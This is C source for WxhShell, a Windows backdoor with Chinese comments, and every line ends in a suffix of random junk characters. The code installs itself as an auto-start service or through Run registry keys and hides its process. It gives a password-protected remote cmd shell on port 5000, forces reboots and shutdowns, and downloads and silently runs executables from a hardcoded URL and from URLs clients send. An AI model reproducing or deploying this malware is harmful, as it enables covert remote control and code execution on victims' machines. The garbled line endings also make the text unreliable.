    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H..g2;D  
    if(Boot(SHUTDOWN)) P3|_R HIb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n1OxT"tD  
    else { .kpL?_  
    closesocket(wsh); l`9<mL  
    ExitThread(0); SS?^-BI  
    } &phers  
    break; /BB(riG  
    } ^VsX9  
  // 获取shell ~!( (?8"  
  case 's': { +2%ih !  
    CmdShell(wsh); lSv?!2  
    closesocket(wsh); 2E~WcB  
    ExitThread(0); W.OcmA>x  
    break; 5W/!o&x~7  
  } _`yd"0 Ux  
  // 退出  pME17 af  
  case 'x': { ,|hM`<"?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,lK=m~  
    CloseIt(wsh); z3!j>X_w  
    break; U ObI&*2  
    } `"CIy_m  
  // 离开 )eFXjnHN  
  case 'q': { #clOpyT*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Jt79M(Hp!  
    closesocket(wsh); ; MU8@?yN  
    WSACleanup(); C[f'1O7  
    exit(1); JCoDe.  
    break; VC%{qal;q  
        } S~BBBD  
  } $OI 6^  
  } hdky:2^3  
nulCk33x'=  
  // 提示信息 t)|*-=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wQR>S>p  
} l ;"v&?  
  } @<]sW*s  
3IXai)6U  
  return;  k I {)"  
} l,cnM r^.W  
ks92-%;:  
// shell模块句柄 ~{GbuoH  
int CmdShell(SOCKET sock) on?<3eED  
{ YyOPgF] M  
STARTUPINFO si; /Y=Cg%+  
ZeroMemory(&si,sizeof(si)); yW::`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DONXq]f:,"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l-;u*JA  
PROCESS_INFORMATION ProcessInfo; a1p Z{Od  
char cmdline[]="cmd"; uTsxSkHb/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )8`7i{F  
  return 0; y$,K^f  
} =MQpYX  
0ws1S(pq  
// 自身启动模式 kKbq?}W[  
int StartFromService(void) Z>=IP-,>  
{ 1'.SHY|  
typedef struct +Sz%2 Q  
{ t8vR9]n  
  DWORD ExitStatus; l%vX$Kw  
  DWORD PebBaseAddress; ;bz|)[4/  
  DWORD AffinityMask; O~3<P3W  
  DWORD BasePriority; <sU?q<MC  
  ULONG UniqueProcessId; WiDl[l"{9  
  ULONG InheritedFromUniqueProcessId; ckn0I  
}   PROCESS_BASIC_INFORMATION; m\9R;$ \  
W 7xh  
PROCNTQSIP NtQueryInformationProcess; zNAID-5K;  
h"~i&T h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m9yi:zT%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?'RB)M=Og7  
E?\&OeAkO  
  HANDLE             hProcess; n7Em t$Hi>  
  PROCESS_BASIC_INFORMATION pbi; 'p%aHK{  
m+66x {M2c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %:yp>nm  
  if(NULL == hInst ) return 0; Eb 8vnB#  
s &4k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?= G+L0t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  :P,g,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U;SReWqU  
0L->e(Vf7u  
  if (!NtQueryInformationProcess) return 0; 8 $5 y]%!  
uD'yzR!]+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .bdp=vbA  
  if(!hProcess) return 0; i rjOGn  
Z;=h=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;v#BguM  
dO?zLc0f  
  CloseHandle(hProcess); /-J  
.>QzM>zO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U-F\3a;&  
if(hProcess==NULL) return 0; y!z2+q2  
5OHg% ^  
HMODULE hMod; [{!K'V  
char procName[255]; MP/@Mf\<E  
unsigned long cbNeeded; v,T :V#f^  
DIqM\ ><  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |}^me7C,[  
"|N58%  
  CloseHandle(hProcess); 'SW%EVB  
w\V1pu^6@  
if(strstr(procName,"services")) return 1; // 以服务启动 h#hx(5"6  
T]er_n  
  return 0; // 注册表启动 n>t&l8g%g  
} ni2GZ<1j  
q fc:%ks2  
// 主模块 CdEQiu  
int StartWxhshell(LPSTR lpCmdLine) (M0"I1g|w  
{ `i!BXOOV{  
  SOCKET wsl; Oy}^|MFfA  
BOOL val=TRUE; X| !VjUH  
  int port=0; M&QzsVH  
  struct sockaddr_in door; ?xa70Pb{;  
%wFz4 :  
  if(wscfg.ws_autoins) Install(); }n Ea9h  
MQc<AfW3/  
port=atoi(lpCmdLine); N_:H kI6  
bA_/ 6r)u  
if(port<=0) port=wscfg.ws_port; fMpxe(  
`p!&>,lrk  
  WSADATA data; MV{\:l}y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [ Xa,|  
%fT%,( w}t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |mMK9OEu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jj,CBNo(  
  door.sin_family = AF_INET; -/V,<@@T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N!PPL"5z  
  door.sin_port = htons(port); V jdu9Ez  
'2S/FOb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8A jQPDn+  
closesocket(wsl); t)kc`3i<A  
return 1; @$Xl*WT7  
} @=7[KMb  
'fK3L<$z#m  
  if(listen(wsl,2) == INVALID_SOCKET) { vw'xmzgA  
closesocket(wsl); C6?({ QB@  
return 1; 4Wd H!z  
} ]/9@^D}&  
  Wxhshell(wsl); x/pX?k  
  WSACleanup(); B_uhNLd  
3 <A?  
return 0; "u.'JE;j  
D_N0j{E  
} }>5R9  
HUFm@?  
// 以NT服务方式启动 rNK<p3=7)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \N%L-%^  
{ ;b5^) S  
DWORD   status = 0; &At9@  
  DWORD   specificError = 0xfffffff; q)l1tC72  
mz2v2ma  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >vR7l&"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 34 '[O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aD&4C -,1  
  serviceStatus.dwWin32ExitCode     = 0; /;5/7Bvj  
  serviceStatus.dwServiceSpecificExitCode = 0; oO3X>y{gN  
  serviceStatus.dwCheckPoint       = 0; .iV-Y*3<  
  serviceStatus.dwWaitHint       = 0; ]@I>OcH  
Z,~PW#8<&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h+c9FN  
  if (hServiceStatusHandle==0) return; i*]$_\yl"  
dEI]|i r  
status = GetLastError(); hcqg94R#_  
  if (status!=NO_ERROR) c Cx_tGR"  
{ \>\_OfY1W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pil_zQ4  
    serviceStatus.dwCheckPoint       = 0; I&%KOe0  
    serviceStatus.dwWaitHint       = 0; IvX+yU  
    serviceStatus.dwWin32ExitCode     = status; w.(?O;  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lng@'Yr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +,_%9v?3  
    return; Fr_6pEH]}  
  } #= T^XHjQ  
;LC?3.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ck:+F+7_v  
  serviceStatus.dwCheckPoint       = 0; '-BD.^!!  
  serviceStatus.dwWaitHint       = 0; ,YBe|3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _l+8[\v  
} GP(ze-Yp  
2BO&OX|X  
// 处理NT服务事件,比如:启动、停止 vawS5b;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _/J`v`}G  
{ 3=("vR`!  
switch(fdwControl) 'A,)PZL9i  
{ R:`)*=rL%  
case SERVICE_CONTROL_STOP: +xuj]J  
  serviceStatus.dwWin32ExitCode = 0; \b}%A&Ij  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fizL_`uMqb  
  serviceStatus.dwCheckPoint   = 0; Ki>XLX,er=  
  serviceStatus.dwWaitHint     = 0; 25;(`Td 5  
  { 2Z-QVwa*U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3*E] :l_  
  } &W}6Xg(  
  return; T7^?j :kJ/  
case SERVICE_CONTROL_PAUSE: C;%1XFzM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T930tX6"h  
  break; %us#p|Ya  
case SERVICE_CONTROL_CONTINUE: 8<{i=V*x4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `<6FCn4{X  
  break; VsDY,=Ww  
case SERVICE_CONTROL_INTERROGATE: 0$_WIk  
  break; h!7Lvh`o  
}; hGcu(kAC,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9TZ6c  
} eVzZfB-=4}  
Y[s}?Xu]w#  
// 标准应用程序主函数 s`|KT&r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G1Vn[[%k  
{ p~v0pi  
P9x':I$  
// 获取操作系统版本 D,()e^o  
OsIsNt=GetOsVer(); {mB!mbr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }S;A%gYm  
VHG}'r9KC%  
  // 从命令行安装 A@eR~Kp ^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 30O7u3Zrb  
*6G@8TIh  
  // 下载执行文件 "|BSGV!8  
if(wscfg.ws_downexe) { Hb[P|pPT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }tQ^ch;Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); _:%i6c*"  
} ]!uId#OH  
C%|m[,Gx  
if(!OsIsNt) { }lP`3e  
// 如果时win9x,隐藏进程并且设置为注册表启动 _Nh`-R%B)  
HideProc(); iqFC~].)  
StartWxhshell(lpCmdLine); KV! (   
} rN,T}M= 2  
else L^=G(op*  
  if(StartFromService()) <`u_O!h  
  // 以服务方式启动 i]Bu7Fuu  
  StartServiceCtrlDispatcher(DispatchTable); F_0@S h"  
else fRHzY?n9;  
  // 普通方式启动 +p$lVnAt  
  StartWxhshell(lpCmdLine); SX&Q5:  
eCiI=HcW;  
return 0; gfKv$~  
} NieNfurG%  
i7e_~K  
ltKMvGEF  
EeGTBVms  
=========================================== _j*a5fsPU  
tns4e\  
f@k.4aS  
!="8ok+  
y&V'GhW!dd  
P26"z))~d  
"  `fE'$2  
i1K$~  
#include <stdio.h> f`iDF+h<6  
#include <string.h> !JBj%|!  
#include <windows.h> u'^kpr`y  
#include <winsock2.h> 'hFL`F*  
#include <winsvc.h>  ?<T=g  
#include <urlmon.h> /!N=@z)  
SXC 7LJm<g  
#pragma comment (lib, "Ws2_32.lib") x<7?  
#pragma comment (lib, "urlmon.lib") JIsi  
yq1 G6hw  
#define MAX_USER   100 // 最大客户端连接数 +|TXKhm{  
#define BUF_SOCK   200 // sock buffer v3G$9 (NE;  
#define KEY_BUFF   255 // 输入 buffer 7* [  
IZGRQmi"  
#define REBOOT     0   // 重启 clk]JA (  
#define SHUTDOWN   1   // 关机  n}- _fx  
uL ~wMX  
#define DEF_PORT   5000 // 监听端口 =MvB9gx@r  
qFl|q0\ A  
#define REG_LEN     16   // 注册表键长度  M%g2UP  
#define SVC_LEN     80   // NT服务名长度 X3~` ~J  
B4 5#-V  
// 从dll定义API Ug384RzHN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xdVsbW)L2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xo2j fz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i5|)|x3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :i|]iXEI"  
 y(#6nG@S  
// wxhshell配置信息 o' v!83$L  
struct WSCFG { saDu'SmYV  
  int ws_port;         // 监听端口 ~=I:go  
  char ws_passstr[REG_LEN]; // 口令 y0p\Gu;3j  
  int ws_autoins;       // 安装标记, 1=yes 0=no a!f71k r  
  char ws_regname[REG_LEN]; // 注册表键名 %xKZ" #Z#K  
  char ws_svcname[REG_LEN]; // 服务名 .gM6m8l9wp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dn:\V?9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jeB"j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qJ .XI   
int ws_downexe;       // 下载执行标记, 1=yes 0=no nB 0KDt_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t,Q"Pt?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qe22 kE#  
bR;.KC3C  
}; G_zK .N   
ZAn9A>5_  
// default Wxhshell configuration t/3HX]B_  
struct WSCFG wscfg={DEF_PORT, $sUn'62JlU  
    "xuhuanlingzhe", 2dK:VC4U  
    1, a8gOb6qF/H  
    "Wxhshell", ;/kmV~KG  
    "Wxhshell", H}q$6W E  
            "WxhShell Service", )3<>H!yG}  
    "Wrsky Windows CmdShell Service", s%8,'3&  
    "Please Input Your Password: ", fsWIz1K  
  1, e{3%-  
  "http://www.wrsky.com/wxhshell.exe", .$ YYN/+W  
  "Wxhshell.exe" `~=NBN=tiL  
    }; !6z{~Z:   
E}THG=6  
// 消息定义模块 _/u(:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AX Q.E$1g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X?;iSekI4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }%<_>b\  
char *msg_ws_ext="\n\rExit."; VvT7v]  
char *msg_ws_end="\n\rQuit."; a5/Dz&>j6  
char *msg_ws_boot="\n\rReboot..."; cd=K=P}p  
char *msg_ws_poff="\n\rShutdown..."; }`!-WY  
char *msg_ws_down="\n\rSave to "; 2m} bddS  
`M(st%@n  
char *msg_ws_err="\n\rErr!"; IGi9YpI&K  
char *msg_ws_ok="\n\rOK!"; Qpj[]c5  
T LF'7ufq  
char ExeFile[MAX_PATH]; )heHERbJ  
int nUser = 0; `M. I.Z_  
HANDLE handles[MAX_USER]; ZLdIEBi=  
int OsIsNt; `%EcQ}Nr  
UX<)hvKj  
SERVICE_STATUS       serviceStatus; Aa]3jev  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8j :=D!S  
9\T9pjdZE  
// 函数声明 @K}h4Yok  
int Install(void); *OIBMx#qxn  
int Uninstall(void); W-Vc6cq  
int DownloadFile(char *sURL, SOCKET wsh); %Pj}  
int Boot(int flag); ckv8QAm  
void HideProc(void); }T AG7U*  
int GetOsVer(void); @*- 6DG-f  
int Wxhshell(SOCKET wsl); 3-)}.8F  
void TalkWithClient(void *cs); Cud!JpL  
int CmdShell(SOCKET sock); GCX?W`  
int StartFromService(void); g+c%J#F=  
int StartWxhshell(LPSTR lpCmdLine); #};Zgixo$  
eT]*c?"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8.7q -<Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UO!} 0'  
M)AvcZNs  
// 数据结构和表定义 6Z2|j~  
SERVICE_TABLE_ENTRY DispatchTable[] = t5u#[*  
{ V<;_wO^  
{wscfg.ws_svcname, NTServiceMain}, qDz[=6BF  
{NULL, NULL} [TFp2B~)#  
}; q^n LC6q  
1oQbV`P  
// 自我安装 ;ceg:-Zqo  
int Install(void) g jzWW0C  
{ :nc%:z=O  
  char svExeFile[MAX_PATH]; o_[~{@RoR  
  HKEY key; E AKW^'D  
  strcpy(svExeFile,ExeFile); JG1q5j##]b  
D ] n|d+  
// 如果是win9x系统,修改注册表设为自启动 &-JIXVd*R  
if(!OsIsNt) { G"kX#k0S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |W@Ko%om  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TXS`ey  
  RegCloseKey(key); D%c^j9' 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lA;^c)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bFlI:R&<  
  RegCloseKey(key); w'VuC82SZ  
  return 0; ,j\uvi(Y  
    } jO|`aUY Tf  
  } B4+c3M\$V  
} ggYi7Wzsd  
else {  w}t}Sh  
6Yt3Oq<U  
// 如果是NT以上系统,安装为系统服务 pS7y3(_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $ndBT+ i  
if (schSCManager!=0) 99,=dzm  
{ :?m"kh ~  
  SC_HANDLE schService = CreateService A&%7Z^Pp  
  ( "{H{-`Ni  
  schSCManager, (b&Z\?"  
  wscfg.ws_svcname, W[]|Uu/%  
  wscfg.ws_svcdisp, [fb9;,x`  
  SERVICE_ALL_ACCESS, Zy:q)'D=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K V?+9qa,  
  SERVICE_AUTO_START, @Gw]cm  
  SERVICE_ERROR_NORMAL, 6"}F KRR  
  svExeFile, EM +! ph  
  NULL, 0b8=94a{>  
  NULL, /Dt:4{aTOC  
  NULL, ui|6ih$+  
  NULL, T?=]&9Y'  
  NULL d7zZ~n  
  );   uk,9N  
  if (schService!=0) 0oBAJP  
  { 0]]OE+9<c  
  CloseServiceHandle(schService); ba ,n/yH  
  CloseServiceHandle(schSCManager); o_kZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |Zp') JiS  
  strcat(svExeFile,wscfg.ws_svcname); -~4kh]7%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w T_l>u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .W2w/RayC  
  RegCloseKey(key); QyZ' %T5J  
  return 0; D@[#7:rHL  
    } [O!/hppN  
  } yGC HWP  
  CloseServiceHandle(schSCManager); !,5qAGi0  
} )-}<}< oO  
} AxTFV ot  
bu \(KR$s  
return 1; Y(EF )::  
} 8. +f@wv  
T<y fpUzX  
// 自我卸载 C$LRX7Z`o  
int Uninstall(void) mYXL  
{ ]_|%!/_  
  HKEY key; O(.eHZ=  
z\K %  
if(!OsIsNt) { By}ZHK94I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L/vw7XNrX  
  RegDeleteValue(key,wscfg.ws_regname); 7M?Sndp$  
  RegCloseKey(key); @j%@Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _)3C_G1!  
  RegDeleteValue(key,wscfg.ws_regname); q_BMZEM  
  RegCloseKey(key); 19oyoi"  
  return 0; /!/Pk'p=/  
  } 92b}N|u  
} ;9J6)zg !n  
} YX3NZW2i  
else { r]~]-VZ/  
6vJ S"+ <  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XJq]l6a:  
if (schSCManager!=0) $h=v ;1"  
{ (gcy3BX;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tBsvi%F  
  if (schService!=0) _l,-S Qgj  
  { n4H'FZ  
  if(DeleteService(schService)!=0) { j4=\MK  
  CloseServiceHandle(schService); ;LKYA?=/V  
  CloseServiceHandle(schSCManager); g(Oor6Pp  
  return 0; ;MlPP)*k  
  } ; =*=P8&5  
  CloseServiceHandle(schService); Uhyf  
  } cN\_1  
  CloseServiceHandle(schSCManager); 7s}F`fjKP  
} 1h)K3cC  
} %Z*)<[cIE0  
KXWz(L!1  
return 1; v`6vc)>8  
} !l6ht {  
Un5 AStG  
// 从指定url下载文件 :."+&gb  
int DownloadFile(char *sURL, SOCKET wsh) 6_tl_O7  
{ F2)KAIl  
  HRESULT hr; 9u3P>a~b  
char seps[]= "/"; I0^oaccM  
char *token; u:wijkx  
char *file; xKepZ  
char myURL[MAX_PATH]; 4"^W/Zo  
char myFILE[MAX_PATH]; X@)'E9g5:  
~1S,[5u|s  
strcpy(myURL,sURL); F hyY+{%  
  token=strtok(myURL,seps); mFd|JbW  
  while(token!=NULL) rj1%IzaXU^  
  { |0_5iFAB|  
    file=token; E?Qg'|+_  
  token=strtok(NULL,seps); jD6T2K7i  
  } +p]@b  
'S=eW_ 0/  
GetCurrentDirectory(MAX_PATH,myFILE); 6&2{V? W3  
strcat(myFILE, "\\"); : ' pK  
strcat(myFILE, file); W(.svJUgb.  
  send(wsh,myFILE,strlen(myFILE),0); dLR[<@E  
send(wsh,"...",3,0); FL0yRF5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rK'O 85)eU  
  if(hr==S_OK) ( "<4Ry.u  
return 0; Fa#5a'}I  
else $lUz!m jG  
return 1; #wh[F"zX  
h]VC<BD6S  
} GQE7P()  
q)YHhH\  
// 系统电源模块 1gLET.I:  
int Boot(int flag) p DU+(A4>  
{ VArMFP)cz  
  HANDLE hToken; )"E1/$*k  
  TOKEN_PRIVILEGES tkp; %GMCyT  
C MGDg}  
  if(OsIsNt) { ;H?tcb*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VZ9`Kbu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VQ+G.  
    tkp.PrivilegeCount = 1; b,(<74!#8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v~YGef;D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .9<euPrz  
if(flag==REBOOT) { Ffd;aZ4n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]XYD2fR2qA  
  return 0; Emk:@$3{r  
} w`zS`+4  
else { UyDq`@h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }5B\:*yW  
  return 0; koj*3@\p/  
} gf/<sH2}  
  } fA), ^  
  else { /\E3p6\*  
if(flag==REBOOT) { nD=N MqQ &  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :n?rk/F  
  return 0; b~TTz`HZ  
} A[:(#iR5-E  
else { fvA167\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pE.TG4  
  return 0; r8o^8.  
} <anU#bEuQ  
} ^r{N^  
X%`:waR  
return 1; _) UnHp_^  
} j`MK\*qmz  
[Z!oVSCZD%  
// win9x进程隐藏模块 +9# qNkP  
void HideProc(void) "`* >co6r  
{ %e+*&Z',  
F$O$Y[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &NI\<C7_Gw  
  if ( hKernel != NULL ) [X@JH6U r  
  { DJ!pZUO{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pup%lO`.0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =n8M'  
    FreeLibrary(hKernel); 6ywO L'OBM  
  } mdcsL~R  
J{n A ?[  
return; )6px5Vwz  
} hE4qs~YB!  
^Qxv5HS2  
// 获取操作系统版本 )X8N|W>vh  
int GetOsVer(void) z|$9%uz"  
{ &(|x-OT  
  OSVERSIONINFO winfo; G P`sOPr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ejyo oO45  
  GetVersionEx(&winfo); _k(&<1i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]?Q<lMG  
  return 1; >g{b'Xx  
  else /!*=*  
  return 0; 0sF|Y%N  
} _93:_L  
7~L_>7 ;  
// 客户端句柄模块 -NA2+].  
int Wxhshell(SOCKET wsl) O5*3 qJp  
{ $A T kCO  
  SOCKET wsh; [|(=15;  
  struct sockaddr_in client; C)%qs]  
  DWORD myID; s&\krW &  
FRayB VHL  
  while(nUser<MAX_USER) lZ) qV!<  
{ Iq 0ew  
  int nSize=sizeof(client); 1*trtb4F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zqp>Xw  
  if(wsh==INVALID_SOCKET) return 1; EWOa2^%}Z\  
vXG?8Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xu|2@?l9  
if(handles[nUser]==0) *dsI>4%m  
  closesocket(wsh); XaMsIyhI  
else SU jo%3R  
  nUser++; (?"z!dgc  
  } 3kVN[0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Au:R]7   
z A/Fh(uX  
  return 0; 3h}i="i   
} 8U!$()^?  
d *#.(C9^  
// 关闭 socket 7&w|  
void CloseIt(SOCKET wsh) 'UC1!Z  
{ %pf9Yd0t  
closesocket(wsh);  Af`Tr6)  
nUser--; gq="&  
ExitThread(0); o1uM(  
} 6.6?Rp".  
NB-%Tp*d  
// 客户端请求句柄 "w__AYHV  
void TalkWithClient(void *cs) K'f2 S  
{ `Io#440;  
h,,B"vPS  
  SOCKET wsh=(SOCKET)cs; 4b6)+*[O  
  char pwd[SVC_LEN]; ^@Z8 _PZo  
  char cmd[KEY_BUFF]; ^|2m&2  
char chr[1]; FwD q@Oj  
int i,j; ^$[iLX  
YWL7.Y>%5  
  while (nUser < MAX_USER) { 8i)9ho<  
!-ZY_  
if(wscfg.ws_passstr) { 1X9J[5|ll  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |f(*R_R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "akAGa!V+  
  //ZeroMemory(pwd,KEY_BUFF); Zx7aae_{  
      i=0; c6SXz%'k  
  while(i<SVC_LEN) { jINI<[v[  
)UyJ.!Fly  
  // 设置超时 '6L@l  
  fd_set FdRead; ;WhRDmT  
  struct timeval TimeOut; SIc~cZ!Yu  
  FD_ZERO(&FdRead); RF~G{wz  
  FD_SET(wsh,&FdRead); 0?O_]SD  
  TimeOut.tv_sec=8;  2IGU{&s  
  TimeOut.tv_usec=0; ?-8DS5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h.NCG96S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); po.QM/b \  
D]N)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?TI]0)  
  pwd=chr[0]; vG\ b `  
  if(chr[0]==0xd || chr[0]==0xa) { @jrxbo;5  
  pwd=0; ^)C#  
  break; ew]G@66  
  } 7nP{a"4_  
  i++; W_,7hvE?"H  
    } KL$>j/qT  
W>: MK-_ J  
  // 如果是非法用户,关闭 socket NQqNBI?cr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `,4@;j<^@  
} Bx6,U4o*  
'`f+QP=`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C &y 2I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c;zk{dP   
|nGv:= H@  
while(1) { |$~]|SK  
v5U'ky :  
  ZeroMemory(cmd,KEY_BUFF); 9<3fH J?vq  
qk(bA/+e  
      // 自动支持客户端 telnet标准   !!w(`kmn1  
  j=0; 9vSKIq  
  while(j<KEY_BUFF) { /XU=l0u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bW=3X-)  
  cmd[j]=chr[0]; q- 0q:  
  if(chr[0]==0xa || chr[0]==0xd) { G5RdytK  
  cmd[j]=0; u]i%<Yy89  
  break; {7;QZk(  
  } %5nEyZOq  
  j++; %~,Fe7#p  
    } R.vOYzo  
y O,Jgn  
  // 下载文件 1}+b4 "7]  
  if(strstr(cmd,"http://")) { n$9Xj@  +  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E&5S[n9{3  
  if(DownloadFile(cmd,wsh)) o wb+,Gk(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^7Z;=]8J  
  else %b2Hm9r+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b#R$P]dr=  
  } gsl_aW!  
